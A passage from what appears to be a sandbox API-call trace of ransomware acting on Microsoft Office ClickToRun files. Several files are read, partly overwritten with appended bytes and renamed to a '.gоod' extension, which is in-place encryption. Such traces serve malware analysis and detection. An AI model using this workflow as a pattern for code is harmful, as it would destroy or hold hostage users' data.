lpOldMode=0x1faee630) returned 1 [0103.930] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.930] GetFileType (hFile=0x6e8) returned 0x1 [0103.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0103.931] GetFileType (hFile=0x6e8) returned 0x1 [0103.931] WriteFile (in: hFile=0x6e8, lpBuffer=0x324f260*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x324f260*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0103.931] CloseHandle (hObject=0x6e8) returned 1 [0103.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x7e [0103.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0103.931] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a288546, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1537e)) returned 1 [0103.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0103.931] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.gоod")) returned 1 [0103.932] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0103.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0103.932] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x32c9be8 | out: lpFileInformation=0x32c9be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe)) returned 1 [0104.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0104.592] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0104.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.592] GetFileType (hFile=0x20c) returned 0x1 [0104.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.592] GetFileType (hFile=0x20c) returned 0x1 [0104.592] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0104.592] ReadFile (in: hFile=0x20c, lpBuffer=0x353c6e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x353c6e0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0104.594] CloseHandle (hObject=0x20c) returned 1 [0104.594] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0104.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.594] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.594] GetFileType (hFile=0x20c) returned 0x1 [0104.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.594] GetFileType (hFile=0x20c) returned 0x1 [0104.594] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x130fe [0104.594] WriteFile (in: hFile=0x20c, lpBuffer=0x353d9f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x353d9f8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0104.614] CloseHandle (hObject=0x20c) returned 1 [0104.614] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0104.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.614] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.614] GetFileType (hFile=0x20c) returned 0x1 [0104.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.614] GetFileType (hFile=0x20c) returned 0x1 [0104.615] ReadFile (in: hFile=0x20c, lpBuffer=0x3563ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3563ab0*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0104.643] CloseHandle (hObject=0x20c) returned 1 [0104.643] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0104.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.643] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.643] GetFileType (hFile=0x20c) returned 0x1 [0104.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.643] GetFileType (hFile=0x20c) returned 0x1 [0104.643] WriteFile (in: hFile=0x20c, lpBuffer=0x3562788*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3562788*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0104.643] CloseHandle (hObject=0x20c) returned 1 [0104.643] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x6f [0104.643] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x74 [0104.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0104.644] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a963084, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1310e)) returned 1 [0104.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0104.644] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.gоod")) returned 1 [0104.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0104.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0104.645] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), fInfoLevelId=0x0, lpFileInformation=0x35e0020 | out: lpFileInformation=0x35e0020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470)) returned 1 [0104.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0104.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0104.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.760] GetFileType (hFile=0x20c) returned 0x1 [0104.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.760] GetFileType (hFile=0x20c) returned 0x1 [0104.760] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0104.760] ReadFile (in: hFile=0x20c, lpBuffer=0x330d378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x330d378*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0104.811] CloseHandle (hObject=0x20c) returned 1 [0104.811] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0104.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.812] GetFileType (hFile=0x20c) returned 0x1 [0104.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.812] GetFileType (hFile=0x20c) returned 0x1 [0104.812] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x12c470 [0104.812] WriteFile (in: hFile=0x20c, lpBuffer=0x333caa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x333caa0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0104.888] CloseHandle (hObject=0x20c) returned 1 [0104.888] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0104.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0104.888] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.888] GetFileType (hFile=0x20c) returned 0x1 [0104.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0104.888] GetFileType (hFile=0x20c) returned 0x1 [0104.888] ReadFile (in: hFile=0x20c, lpBuffer=0x3439e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3439e70*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0105.971] CloseHandle (hObject=0x20c) returned 1 [0105.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0105.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0105.972] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0105.972] GetFileType (hFile=0x20c) returned 0x1 [0105.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0105.972] GetFileType (hFile=0x20c) returned 0x1 [0105.972] WriteFile (in: hFile=0x20c, lpBuffer=0x32ec2f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x32ec2f0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0105.972] CloseHandle (hObject=0x20c) returned 1 [0105.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", lpFilePart=0x0) returned 0x59 [0105.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.gоod", lpFilePart=0x0) returned 0x5e [0105.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0105.972] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x3b60dad8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12c480)) returned 1 [0105.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0105.973] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.gоod")) returned 1 [0105.973] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpFilePart=0x0) returned 0x80 [0105.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0105.973] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), fInfoLevelId=0x0, lpFileInformation=0x33d7060 | out: lpFileInformation=0x33d7060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8)) returned 1 [0106.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0106.310] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpFilePart=0x0) returned 0x80 [0106.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0106.310] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.310] GetFileType (hFile=0x7c8) returned 0x1 [0106.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0106.311] GetFileType (hFile=0x7c8) returned 0x1 [0106.311] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0xce8 [0106.311] ReadFile (in: hFile=0x7c8, lpBuffer=0x3623200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x3623200*, lpNumberOfBytesRead=0x1faee6b8*=0xce8, lpOverlapped=0x0) returned 1 [0106.312] CloseHandle (hObject=0x7c8) returned 1 [0106.340] GetFullPathNameW (in: 